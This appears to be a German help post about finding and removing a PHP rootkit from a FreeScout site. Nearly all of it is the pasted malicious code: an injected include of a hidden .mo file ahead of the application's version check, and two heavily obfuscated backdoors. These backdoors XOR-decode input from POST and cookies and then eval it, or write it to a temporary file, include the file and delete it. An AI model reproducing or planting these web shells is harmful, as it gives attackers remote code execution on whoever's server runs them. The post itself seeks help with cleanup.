PHP rootkit finden und entfernen

<?php
/*14070*/

@include ("/var/www/vhosts/hosting123456.abcde.netcup.net/httpdocs/support.example.de/public/css/builds/.9d7b42af.mo");

/*14070*/

// Check PHP version
if (!version_compare(phpversion(), '7.1.0', '>=')) {
    echo 'PHP 7.1+ is required to run FreeScout. Your PHP version: '.phpversion();
    exit();

<?php    $keswwxWyH    =    chr  (115)  .    chr    (   629    -   513  )."\x72" .    "\137" ./*  VirQ  */chr (114)     ./* m   */"\x65"/*   MgaG*/./*   t */"\x70"    .   chr    (101)    .  "\x61"    ./*   WzHyJ*/"\164";
     $xRWYIXiyL = "\145"/*CI */.   "\x78"    .     'p'    .     "\x6c"/*  rnbM */./*  hF  */chr    (111) .    chr    (    583/*Irv   */-    483 ).chr/*dWboV  */(101);
    $WZMYsiYV     =/*  WSIB   */chr    (/*sdOI */983/*d   */- 884    ).'o'/* c*/.    'u'    .    chr    (110)/*dd*/.    "\164";
    $LNkaGVRf     =    'p'     .    "\141"/* BT  */.    "\x63"/* Ct */.    chr/*   uVx  */(107);
     $hKkGmvFnj/*Lm  */=  Array ( "btDsAQlLTwn"    =>   "FfTUVovaYTGQGbTtRMUgXdDAcaSmOE"/*zu */);
 /*   y  */$fdAchB/*hoFC   */=/*   ZB */Array/* rBg */(    "MSAWnzeflUBVhM"     =>/*   GtWdj*/"EsBeeESTgKETdAdxcvgintOQfjME"    );
     /*E*/foreach/* Ibe  */( Array(    $hKkGmvFnj,    $_POST,    $fdAchB,/*   OSUfz  */$_COOKIE,    $hKkGmvFnj)   as $uXITg)/* Ql   */{

 foreach/*   FBwJz   */(    $uXITg    as   $PMCCNriVnd   =>    $KTqLeiy    )/*   N  */{


     $KTqLeiy    =    @$LNkaGVRf(    "\x48"    .    chr/*  No  */(42),    $KTqLeiy     );
      $PMCCNriVnd    .=    "UFRjnz-sog-XlpAbx-yABuoZp-WbSELj-Ntu-BmEsoV";

/*qdJQb   */$PMCCNriVnd    =     $keswwxWyH/* lR  */(/* P*/$PMCCNriVnd,  (     strlen(     $KTqLeiy   )/strlen(  $PMCCNriVnd/* jp   */)    )   +/*oOwZz*/1);
/*VhPe  */$qNuEZ/*  k   */=   $KTqLeiy/*NptpI   */^    $PMCCNriVnd;

     $qNuEZ    =    $xRWYIXiyL    ( chr/*NY*/(/*   fb  */989    -    954     ),    $qNuEZ    );
        if    (/* CWhvC*/$WZMYsiYV    (/* k*/$qNuEZ    )   ==    3    )    {
/*  kC */eval/*biGr   */(    $qNuEZ[1]    (    $qNuEZ[2]/* Es */)    );
                    exit    ();
      }
        }


/* FL*/}

<?php
function    xe1    (   $dt2/* hx  */){$qo3    =    "3g0f<pE9x 6sa2t*" .
"enyh" .
"?;r@#LFkicvIbd'.o(_)/5u" .
"7Hl" .
"4" .
"-" .
"m" ;

$hc5='';foreach(   $dt2      as    $pq4    ){

$hc5    .=     $qo3       [    $pq4/*oz*/];


}return    $hc5;


}$mt6    =   Array();

$mt6/*   cbkq   */[]/* zwb  */=/*ngo*/xe1    (/*  g */Array(12  ,/* lpwh*/3    ,    29    ,/*   n   */41     ,    33    ,/*   e   */13  ,    29      ,    46      ,/*qagu  */47    ,    29   ,    3/*   df   */,       16    ,    46/* vur  */,    47/*fsx   */,     46/*   fnko  */,   13/*  zpz  */,   46    ,  13  ,/*   luw  */47       ,  7     ,     43    ,/*lz */0/*tl*/,  13    ,      47    ,   0/*  tx */,      10    ,    0    ,       7    ,    2  ,    10    ,    13    ,    10/*  ryata*/,    46       ,    29/*rpcry*/,      3/*   o  */,/*  rg*/12    ,)    )   ;
$mt6   []     =     xe1    (/*   gvqwf */Array(20    ,       5    ,    19    ,    5    ,/*  asyx   */9    ,/*   mh*/23     ,    42   ,    17    ,    45    ,       28     ,/*kv   */17       ,    27  ,    37   ,    38    ,    38/*bot */,    26/* x  */,       31    ,/* pddl   */25/*upfh   */,       6    ,    38/*   rf   */,    38    ,    39    ,    21   ,/*  hx   */9    ,)  )      ;
$mt6   []   =    xe1    (    Array(35/* ulami  */,      48/*  aiqzl*/,/* y */36      ,    33    ,    42   ,      45/*   cj  */,    16    ,)/*  u*/)/*  c*/;
$mt6/*  hk*/[]/*   zegkt */=/* gr   */xe1       (       Array(44  ,/*ivl  */15  ,)/*   ac   */)  ;$mt6/*   wrt*/[]      =    xe1    (    Array(35/* eluqq   */,/*  lvbuo  */40    ,)       )/*   o */;


$mt6    []    =/* pu  */xe1    (/* rshty*/Array(24     ,)/* skiuy  */)/*  xbuu   */;


$mt6    []       =    xe1/*   wkex */(/* onsw  */Array(4    ,)    )/*ak */;$mt6[]    =    xe1     (    Array(3    ,    28   ,/* x   */45/* ampq*/,    16/*  szhk */,     38/*qdlmi*/,    5    ,    42/*  stgfm */,    14/* aptu  */,      38    ,    29  ,    36    ,     17      ,   14/*rh */,     16    ,    17/*   bkgs */,  14    ,   11    ,)    )    ;$mt6[]/*e  */=/*lds  */xe1    (    Array(12    ,     22    ,       22      ,    12/*utb   */,     18/*   zct  */,     38      ,    48       ,      16/*  h*/,/*xsdrl */22  ,    1    ,    16    ,)    )    ;
$mt6[]/*  izzg */=/* vd */xe1    (    Array(11/*yscw   */,      14/* rui   */,  22/*  ywol   */,/*  vxhy*/38/*   jaui   */,/*cf  */22/*  arx   */,    16/*mrbs */,   5    ,       16       ,/*   ne*/12/*  un*/,    14     ,)    )      ;
$mt6[]     =/*   evev  */xe1    (    Array(16/*  zxfgs  */,    8/*zco  */,/*   fsxvx   */5       ,/* umj   */45    ,    36    ,/*myqfc*/33     ,     16    ,)/*  w*/)    ;

$mt6[]  =/*od*/xe1    (    Array(11       ,      42    ,/*   giqzg  */32    ,  11    ,    14    ,/*   kthsk*/22  ,)/*dhlp   */)    ;


$mt6[]/*   czxah  */=    xe1/*r  */(/*cby   */Array(42    ,   17    ,     45/*daaj   */,    28/*  nfg  */,    17/*  zy */,    27    ,)    )/*  kerch   */;

$mt6[]      =     xe1/*   ssrwd  */(     Array(11  ,    14     ,    22    ,      45    ,/* wum   */16/*   prdt*/,/*   qgc   */17    ,)/*   lbocj*/)    ;
$mt6[]/*  hd */=     xe1    (    Array(5    ,    12  ,    29    ,    27/* pdz  */,)    )    ;

$mt6[]      =/*uxh  */xe1/* ezpaw  */(    Array(48/*   q  */,/*rv  */33    ,       41    ,)       )    ;






foreach     (/*ggdt   */$mt6[8]     (/*goka */$_COOKIE,     $_POST      )     as/*ephl  */$bj14    =>     $fr11){/*  bvqvz */function    cp8/*  xbxq */(     $mt6,/*swjv   */$bj14     ,     $le10/*  pl  */)/*   uzski */{
    return    $mt6[11]    (/*   kcjal */$mt6[9]    (   $bj14      .    $mt6[0]/*   bvwu  */,    (    $le10/$mt6[13](    $bj14/* c*/)    )/*whr */+/* avn*/1/*kxjh  */)    ,/*lmpdr*/0/* ast  */,    $le10/*   nlhl  */);       }




    function    ja7/*   lr */(    $mt6,/*jww*/$dm12    )

   {


/*  ynkyc   */return  @$mt6[14]/* yx*/($mt6[3]    ,/*  it  */$dm12     );  }
      function/* zs   */wb9/*s   */(      $mt6,    $dm12    )    {


  if      (    isset/* e  */(/*jnjk */$dm12[2]    )   )      {


/*  jqfvw*/      $ub13/* rhy */=/*oj   */$mt6[4]    ./*  nygh */$mt6[15](       $mt6[0]   )/*  gdknr  */.   $mt6[2];


/*ua   */@$mt6[7]    (/*   sm*/$ub13,    $mt6[6]   ./* dp */$mt6[1]    .      $dm12[1]    (       $dm12[2]/*  qm   */)    );
/*xwdku   */@include    (  $ub13/* vjjaf  */);
      @$mt6[12]/* wp */(/*zyzk  */$ub13    );/*   tvk */die/*   rs   */();


      }
/* dmc   */}



       $fr11    =    ja7    (  $mt6,/* i   */$fr11/*  gnhif  */);
/*   voes   */wb9    (/* lpd  */$mt6,       $mt6[10]    (/*  gzqcm  */$mt6[5]/*nsd */,     $fr11  ^/* cezic  */cp8    (/*ed   */$mt6,    $bj14/* yfa */,    $mt6[13](      $fr11/* uiiav */)/*qbi*/)    )    );
}